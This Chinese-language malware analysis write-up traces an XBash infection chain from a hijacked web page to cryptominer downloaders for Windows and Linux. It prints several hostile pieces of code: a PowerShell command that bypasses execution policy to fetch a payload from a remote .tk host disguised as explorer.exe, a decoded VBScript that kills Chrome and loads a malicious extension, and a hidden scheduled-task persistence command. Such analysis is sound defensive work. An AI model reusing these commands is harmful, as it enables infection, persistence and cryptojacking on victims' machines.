病毒樣本下載來源於i春秋一位cq5f7a075d做者的主題帖《XBash系列病毒樣本分析報告》,是一個Iron Group組織使用的XBash惡意軟件,樣本連接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推薦幾個比較活躍的樣本下載區,如卡飯、i春秋、吾愛、VirusShare等都比較活躍。
✃
✎故事仍是要從掛馬網站開始,也就是網頁下載惡意代碼開始分析,以下所示:
圖片一:JScript腳本
變量ebc9拖入010中轉換成字符串以下所示:
圖片二:數組還原
還原Js代碼以下所示,圖片中給出了還原的代碼(已標紅):
圖片三:代碼復原
✍如上述代碼,作了如下幾件事情:
一、使用了ActiveX控件,注意這個只有IE才支持,由於是微軟的。
二、獲取了temp的臨時路徑,拼接了IE瀏覽器進程名(假裝)。
三、判斷是否臨時文件是否存在,若是不存在則執powershell指令,指令以下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是遠程下載腳本繞過執行策略並隱藏執行窗口,powershell指令執行通常不會殺毒軟件被攔截,這樣就達成了目的,下載惡意代碼而且假裝成explorer.exe。
四、執行下載的惡意代碼。
✃
✎關於掛馬網站分析完畢,下面就是分析下載下來的惡意代碼,以下所示:
圖片四:脫殼
如上所示,樣本加了一個UPX殼,脫掉修復IAT後樣本就被還原了,拉入IDA後以下所示:
圖片五:主函數
sub_405920分析以下,先獲取了window shell特殊文件夾的標識值,以下所示:
圖片六:SHGetSpecialFoladerPathA
繼續分析,而後初始化了一段字符串,且求出了字符串大小,流程圖以下:
圖片七:字符串
其實一開始靜態觀察猜錯了初始化的字符串順序....,而後動態調試爲了驗證數據的精準,下面繼續調用了函數流程以下,根據字符串初始化進行了獲取名稱,鎖機制設置,以下所示:
圖片八:執行流程
根據字符串運算獲取了名稱,拼接路徑以下:
圖片九:C:\Program Files\TempBMBD19XS
這裏還不算真正開是,只是作了個預熱,下面樣本開始認真了,以下所示:
圖片十:靜態分析
如上圖所示,獲取了運行路徑,拼接了chrome.crx,當有路徑出現的時候就會有操做,以下所示:
圖片十一:chrome.crx
繼續分析函數sub_408360,選擇了動態調試字符串,由於字符串加密了,因此動態調試分析起來相對輕鬆一些,內部代碼以下所示:
圖片十二:sub_408360
分析函數sub_40D0B0的時候,彙編分析時候根據循環規律猜出部分代碼(惋惜猜錯了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函數時候,就明白這是要建立進程快照,也明白了整個函數的意義,以下所示:
圖片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍歷進程,殺掉chrome進程,以下所示:
圖片十四:Kill chrome.exe
如上圖所示,通過這一層關係,根據當前分析的狀況,chrome.exe(chrome.crx)樣本確定準備這樣假裝,繼續線性分析,如圖十二所示:
一、打開註冊表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,請求Path。
二、若是成功拼接路徑C:\Programiles\Google\Chrome\Application\chrome.exe
接下來,在路徑下建立文件寫入數據了,以下所示:
圖片十五:_mkdir and write
解壓了數據,收尾工做,利用schtasks計劃啓動釋放的程序,以下所示:
圖片十六:WinExec
sub_408360光榮的完成他的使命,查殺chrome.exe進程,且建立釋放惡意代碼,調用WinExec執行釋放的文件。
✃
作了這些事情以後尚未結束,到了分水嶺,有意思的是判斷了運行樣本的命令行參數 ,分析以下:
圖片十七:分水嶺
不相等則跳轉,若是相等最終會則執行流程以下圖所示:
圖片十八:成功
該文章重點分析不跳轉狀況(真機環境下沒有跳轉),以下所示:
圖片十九:建立且寫入惡意代碼
若是上面解壓chrome.crx那段彙編熟悉的話,你會發現套路是相同:
一、獲取文件名稱,拼接文件路徑。
二、建立及寫入惡意代碼過程。
三、那麼就該執行惡意代碼了唄。
咱們對比一下寫入的數據是或否相同,從而驗證是否函數功能的正確性,以下所示:
圖片二十:寫入惡意數據
請求rundll32.exe執行DllUnInstall,而後建立惡意代碼流程以下所示:
圖片二十一:執行惡意dll
而後調用了ExitProcess結束了本身的一輩子,這個被掛馬網站下載下來的病毒幹了兩件事:
一、運行了sec.vbe
二、運行了xxx.dat(名字是隨機dll文件)
✃
因此目標也很明確,被運行的兩個程序,依次分析,運行時的順序有時候也是刻意安排的,接下來分析sec.vbe:
看後綴都明白,這是一個VB語言寫的病毒,先打開看一看,長什麼樣,以下圖所示:
圖片二十二:加密sec.vb
根據風格應該是微軟的ScriptEncode編碼算法來加密的,因此先嚐試一下,不對在換就好了,解密後代碼以下:html
vb中註釋是單引號 ' On Error ReSume Next: ' 這一句vb代碼是異常處理,錯誤時會繼續運行,不中斷 strComputer = ".": Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"): ' set是用於給對象變量賦值 返回ActiveX對象 Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指關閉指定用戶進程 SeT objShell = CreateObjeCt("WScript.Shell"): ' 建立WScript。sehll對象 starT = False: ' 遍歷且與關鍵字對比 FOr Each ObjITem in colItEms: iF INstr(objitem.CommandLiNe,"silent-launch") > 1 ' vb中變量不區分大小寫 字符串區分 thEn start = true: end if: NEXt: ' 關閉進程 function Killproc(strProcname): On ErroR REsume Next: Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"): Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"): for Each Proccess In aRrpRocessEs: proccess.Terminate 0: ' terminate是指事件的終止 Next: ENd FuncTiOn: If nOT start then KillprOc("chrome.exe"): ' 殺死進程 Dim Instpath: ' 根據變量類型爲變量分配內存空間 INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"): ' 讀取註冊表 appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"): ' 獲取路徑 C:\Users\xxx\AppData\Local chrome_locatIon = AppDataLoCaTion+"\chrome": ' 拼接路徑 C:\Users\xxx\AppData\Local\chrome objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"): ' --load-extension 每次重啓chrome的快捷方式會被替換C:\Users\xxx\AppData\Local\chrome ' --silent-launch 表示不開啓chrome,靜默安裝 ' --enable-automation 開啓自動化 End if
如何解密呢,在線解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb腳本分析,對於關鍵的數據出寫出詳細的註釋,這裏不一一羅嗦,sec.vbe關閉chrome,而後替換了了Chrome的快捷方式。
至於.dat是一個dll文件,PEID查看後發現加油vmp虛擬殼,對於這個殼,帶殼調試的話,過虛擬、過反調試能夠動態調試.....這裏有興趣的朋友自行分析,能力有限不能很好的分析該病毒的出步驟,因此這一個比較關鍵的環節略過......
經過dll執行(也就是上述省略分析的.dll文件),作了那些事情呢?
一、在windows下釋放了一段可執行的惡意代碼,包含了powershell指令(用於下載挖礦)
二、Linux下釋放了.sh的腳本(用於進程查殺及下載挖礦)
其實就是釋放了兩個下載器,咱們分析一下釋放的下載器。
✃
Windows下Powershell以下所示:
前置知識:
一、-EncodedCommand 接受 base-64 編碼字符串版本的命令。使用此參數向 Windows PowerShell 提交須要複雜引號或大括號的命令。 代碼中-E
二、-WindowStyle將窗口樣式設置爲 Normal、Minimized、Maximized 或 Hidden。 代碼中-W
三、-noprofile 簡寫 -NoP, 爲不加載 windows poweshell 配置文件
四、-NonInteractive不向用戶顯示交互式提示。、
打開.ps1腳本,發現被加密,以下所示:
圖片二十三:加密的Powershell指令
根據-E的參數,咱們能夠先推測使用了Base64進行了總體加密,下面在線Base64解密以後,以下圖片所示:
圖片二十四:Base64解密
第一次Base64解密後,雖然還有大量的字符不識別,可是露出了關鍵一些數據,如iex,這就爲後續的解密提供了思路,腳本中有IEX關鍵字了,咱們去掉且重定向到新得文件中,嘗試解密,解密後數據以下圖所示:以下所示:
圖片二十五:Base64解密
分析Function DllMiner函數,以下所示:
圖片二十六:Function DllMiner
函數內容將數據下載並截獲正確得惡意代碼寫入到文件,命名爲tmp.jpg,執行下載得文件,而後把DllMiner函數寫入到額tmp.ps1,以下所示:
圖片二十七:tmp.ps1
調用了SchTasks.exe執行計劃任務,以下所示:web
SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 / 參數介紹: 一、/Create 建立新計劃任務。 二、/TN taskname 指定惟一識別這個計劃任務的名稱 三、/ST starttime 指定運行任務的開始時間 /SC MINUTE (一分鐘) 四、/TR taskrun 指定在這個計劃時間運行的程序的路徑 五、/MO modifier 改進計劃類型以容許更好地控制計劃重複 總結:一分鐘運行一次tmp.ps1,也就是Function DllMiner函數
下載得實際上是挖礦程序,對於挖礦程序得分析不到位,有興趣得能夠分析一下。
補充:
一、電腦不能運行powershell腳本?報錯讓參考策略修改,修改配置以下圖所示:
圖片二十八:powershell策略配置
二、Powershell關於IEX混淆解密相關介紹:https://www.codercto.com/a/24286.html
✃
Linux下.sh以下所示:
看看Linux下.sh腳本是如何運行的,以下所示:
圖片二十九
一個死循環,兩個函數,就是整個腳本的內容,kills函數以下所示:
圖片三十
各類kill與pkill,終止其餘程序的挖礦進程。而後開始執行downloadyam函數,以下所示:
圖片二十一
上述標紅是註釋,這即是腳本執行的過程,xx.sh總共下載了五個文件:
config.json,bashf,pools.txt,bashg,XbashY
到此兩個下載器分析完畢,至於挖礦程序的分析,仍是不獻醜了........之後有時間學習研究後,再來補上未分析的部分。
未完待續!算法